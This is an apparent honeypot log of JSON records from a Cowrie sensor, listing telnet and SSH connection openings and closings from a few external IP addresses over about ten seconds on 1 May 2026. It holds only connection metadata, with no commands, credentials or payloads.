{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8933cca1a0e","protocol":"telnet","message":"New connection: 64.235.40.29:50796 (10.17.0.5:23) [session: b8933cca1a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:59.233246Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50808,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81193462d6f","protocol":"telnet","message":"New connection: 64.235.40.29:50808 (10.17.0.5:23) [session: e81193462d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:59.268543Z"}
{"eventid":"cowrie.session.closed","duration":30.887107372283936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:59.484788Z","src_ip":"64.235.40.29","session":"a5154d592712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.777273893356323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:59.771883Z","src_ip":"64.235.40.29","session":"bcce3b471579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.205766677856445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.072694Z","src_ip":"64.235.40.29","session":"3eb7c0aca811","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855270624160767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.089005Z","src_ip":"64.235.40.29","session":"05848e953cfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.403279781341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.111035Z","src_ip":"64.235.40.29","session":"828f5f1fa9ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375523805618286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.179920Z","src_ip":"64.235.40.29","session":"ffddf8678bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50830,"dst_ip":"10.17.0.5","dst_port":23,"session":"889b1bfa890e","protocol":"telnet","message":"New connection: 64.235.40.29:50830 (10.17.0.5:23) [session: 889b1bfa890e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.192702Z"}
{"eventid":"cowrie.session.closed","duration":30.997992038726807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.227559Z","src_ip":"64.235.40.29","session":"dfc9841061ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50832,"dst_ip":"10.17.0.5","dst_port":23,"session":"520c95879a6f","protocol":"telnet","message":"New connection: 64.235.40.29:50832 (10.17.0.5:23) [session: 520c95879a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.438294Z"}
{"eventid":"cowrie.session.closed","duration":31.53470778465271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.749397Z","src_ip":"195.154.29.177","session":"6981b9c46cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":58196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d10d2763db5e","protocol":"telnet","message":"New connection: 160.250.4.73:58196 (10.17.0.5:23) [session: d10d2763db5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.790211Z"}
{"eventid":"cowrie.session.closed","duration":31.390303373336792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:00.919279Z","src_ip":"64.235.40.29","session":"b1a4eb8e0783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840278148651123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.046971Z","src_ip":"64.235.40.29","session":"757bfd8b7c43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.189584970474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.077383Z","src_ip":"64.235.40.29","session":"b765e35b410a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"22.2","message":"Connection lost after 22.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.110296Z","src_ip":"122.168.114.167","session":"8b9e16cca694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.033451557159424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.338165Z","src_ip":"64.235.40.29","session":"b7ed999839c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":58202,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de47d0adc1d","protocol":"telnet","message":"New connection: 160.250.4.73:58202 (10.17.0.5:23) [session: 1de47d0adc1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.767717Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50836,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdcbdc7f6cab","protocol":"telnet","message":"New connection: 64.235.40.29:50836 (10.17.0.5:23) [session: bdcbdc7f6cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.811783Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50792,"dst_ip":"10.17.0.5","dst_port":23,"session":"add84110cf18","protocol":"telnet","message":"New connection: 64.235.40.29:50792 (10.17.0.5:23) [session: add84110cf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.873116Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":58214,"dst_ip":"10.17.0.5","dst_port":23,"session":"376394d5c544","protocol":"telnet","message":"New connection: 160.250.4.73:58214 (10.17.0.5:23) [session: 376394d5c544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.944763Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50846,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d466bb9aa5b","protocol":"telnet","message":"New connection: 64.235.40.29:50846 (10.17.0.5:23) [session: 1d466bb9aa5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:01.995180Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":34360,"dst_ip":"10.17.0.5","dst_port":23,"session":"a38fe008c654","protocol":"telnet","message":"New connection: 135.148.33.217:34360 (10.17.0.5:23) [session: a38fe008c654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:02.055441Z"}
{"eventid":"cowrie.session.closed","duration":30.86186909675598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:02.202822Z","src_ip":"64.235.40.29","session":"bc065de6ebec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50856,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea4e6e3f24e","protocol":"telnet","message":"New connection: 64.235.40.29:50856 (10.17.0.5:23) [session: dea4e6e3f24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:02.872796Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35362,"dst_ip":"10.17.0.5","dst_port":23,"session":"a95fc3ff7e67","protocol":"telnet","message":"New connection: 135.148.33.217:35362 (10.17.0.5:23) [session: a95fc3ff7e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:02.901308Z"}
{"eventid":"cowrie.session.closed","duration":30.319573163986206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.033814Z","src_ip":"64.235.40.29","session":"b412402e44df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375162839889526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.046148Z","src_ip":"64.235.40.29","session":"390d300c7ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65421462059021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.054793Z","src_ip":"64.235.40.29","session":"6079b9fa54ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98498511314392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.138582Z","src_ip":"64.235.40.29","session":"6e75a3c950eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33984088897705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.157398Z","src_ip":"160.250.4.73","session":"ae833103cc30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50872,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e1d28fe87c","protocol":"telnet","message":"New connection: 64.235.40.29:50872 (10.17.0.5:23) [session: 43e1d28fe87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.185088Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50888,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b63dc36f325","protocol":"telnet","message":"New connection: 64.235.40.29:50888 (10.17.0.5:23) [session: 7b63dc36f325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.190682Z"}
{"eventid":"cowrie.session.closed","duration":30.98161292076111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.223448Z","src_ip":"64.235.40.29","session":"2ef15390aabf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50894,"dst_ip":"10.17.0.5","dst_port":23,"session":"4264e62d587c","protocol":"telnet","message":"New connection: 64.235.40.29:50894 (10.17.0.5:23) [session: 4264e62d587c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.252976Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":48242,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c91cafaa625","protocol":"telnet","message":"New connection: 133.130.75.21:48242 (10.17.0.5:23) [session: 5c91cafaa625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.457541Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50826,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d2a6d9fe9da","protocol":"telnet","message":"New connection: 64.235.40.29:50826 (10.17.0.5:23) [session: 2d2a6d9fe9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:03.710527Z"}
{"eventid":"cowrie.session.closed","duration":30.91851234436035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.037095Z","src_ip":"64.235.40.29","session":"6baca2296999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":58224,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bed70611809","protocol":"telnet","message":"New connection: 160.250.4.73:58224 (10.17.0.5:23) [session: 5bed70611809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.162500Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50898,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6673404f8f7","protocol":"telnet","message":"New connection: 64.235.40.29:50898 (10.17.0.5:23) [session: f6673404f8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.297872Z"}
{"eventid":"cowrie.session.closed","duration":31.144012451171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.312261Z","src_ip":"64.235.40.29","session":"27ce96cd7a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09052610397339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.473007Z","src_ip":"64.235.40.29","session":"50f2141686b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50908,"dst_ip":"10.17.0.5","dst_port":23,"session":"336cec930a22","protocol":"telnet","message":"New connection: 64.235.40.29:50908 (10.17.0.5:23) [session: 336cec930a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.645155Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50922,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ff3b761e02","protocol":"telnet","message":"New connection: 64.235.40.29:50922 (10.17.0.5:23) [session: 85ff3b761e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.735435Z"}
{"eventid":"cowrie.session.closed","duration":30.834539651870728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.766982Z","src_ip":"104.207.153.205","session":"d96a4f40c22e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65119242668152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:04.928976Z","src_ip":"64.235.40.29","session":"53d6d7ca338e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.248358726501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.041108Z","src_ip":"64.235.40.29","session":"7859d01c7b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542464017868042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.129230Z","src_ip":"64.235.40.29","session":"f1ea67c2a59a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858117818832397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.144405Z","src_ip":"160.250.4.73","session":"4c2c01f5278c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765251636505127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.184125Z","src_ip":"104.207.153.205","session":"83221c95d116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39114,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc34c85dc0bd","protocol":"telnet","message":"New connection: 64.235.40.29:39114 (10.17.0.5:23) [session: bc34c85dc0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.192505Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b113b3c08f7e","protocol":"telnet","message":"New connection: 64.235.40.29:39120 (10.17.0.5:23) [session: b113b3c08f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.269772Z"}
{"eventid":"cowrie.session.closed","duration":30.5926570892334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.330261Z","src_ip":"64.235.40.29","session":"58fc452ee917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":58228,"dst_ip":"10.17.0.5","dst_port":23,"session":"025386442551","protocol":"telnet","message":"New connection: 160.250.4.73:58228 (10.17.0.5:23) [session: 025386442551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.545102Z"}
{"eventid":"cowrie.session.closed","duration":31.59458589553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.675122Z","src_ip":"64.235.40.29","session":"9a09952332c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39136,"dst_ip":"10.17.0.5","dst_port":23,"session":"010607f5d700","protocol":"telnet","message":"New connection: 64.235.40.29:39136 (10.17.0.5:23) [session: 010607f5d700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.731113Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":42414,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe7782f9afc0","protocol":"telnet","message":"New connection: 104.207.153.205:42414 (10.17.0.5:23) [session: fe7782f9afc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:05.834667Z"}
{"eventid":"cowrie.session.closed","duration":30.46436047554016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.061504Z","src_ip":"64.235.40.29","session":"d6a710661ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80090355873108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.154052Z","src_ip":"64.235.40.29","session":"1bd4d3e726bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.176605224609375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.242391Z","src_ip":"160.250.4.73","session":"57ed6dbb8015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":40578,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4bddd718e72","protocol":"telnet","message":"New connection: 135.148.33.217:40578 (10.17.0.5:23) [session: f4bddd718e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.385034Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39138,"dst_ip":"10.17.0.5","dst_port":23,"session":"576c9122a12f","protocol":"telnet","message":"New connection: 64.235.40.29:39138 (10.17.0.5:23) [session: 576c9122a12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.392394Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39142,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f9a45bbff5","protocol":"telnet","message":"New connection: 64.235.40.29:39142 (10.17.0.5:23) [session: 62f9a45bbff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.402304Z"}
{"eventid":"cowrie.session.closed","duration":31.234538793563843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.444681Z","src_ip":"64.235.40.29","session":"6991d2ead2b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919331789016724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.725760Z","src_ip":"64.235.40.29","session":"9c0bebb38286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":43222,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d691c679a9","protocol":"telnet","message":"New connection: 104.207.153.205:43222 (10.17.0.5:23) [session: 33d691c679a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.785218Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39154,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9f353c12cf","protocol":"telnet","message":"New connection: 64.235.40.29:39154 (10.17.0.5:23) [session: 5d9f353c12cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.886257Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39160,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc8f1f0651ad","protocol":"telnet","message":"New connection: 64.235.40.29:39160 (10.17.0.5:23) [session: cc8f1f0651ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.941099Z"}
{"eventid":"cowrie.session.closed","duration":31.838253498077393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:06.958746Z","src_ip":"195.154.29.177","session":"2535d57c2984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986149787902832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.041526Z","src_ip":"64.235.40.29","session":"a4e07de95314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25236415863037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.056680Z","src_ip":"64.235.40.29","session":"72cb6f45ee14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.200277090072632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.068591Z","src_ip":"64.235.40.29","session":"230b17f7f339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848341703414917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.072652Z","src_ip":"64.235.40.29","session":"84da1d3bfba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57421326637268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.112753Z","src_ip":"64.235.40.29","session":"f64a8a2912bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417919158935547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.152140Z","src_ip":"64.235.40.29","session":"5e6bd226788c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.628329038619995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.625448Z","src_ip":"64.235.40.29","session":"dd7c1426324f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39170,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e89756e4aed","protocol":"telnet","message":"New connection: 64.235.40.29:39170 (10.17.0.5:23) [session: 5e89756e4aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.649249Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39172,"dst_ip":"10.17.0.5","dst_port":23,"session":"052ce36f684b","protocol":"telnet","message":"New connection: 64.235.40.29:39172 (10.17.0.5:23) [session: 052ce36f684b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:07.854133Z"}
{"eventid":"cowrie.session.closed","duration":31.030872106552124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:08.093178Z","src_ip":"64.235.40.29","session":"bc068d7b6381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709113836288452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:08.138849Z","src_ip":"160.250.4.73","session":"a4efbe20a437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.340524196624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:08.169686Z","src_ip":"160.250.4.73","session":"9e3b2591dc2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":43596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b88670e2247c","protocol":"telnet","message":"New connection: 135.148.33.217:43596 (10.17.0.5:23) [session: b88670e2247c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:08.782908Z"}
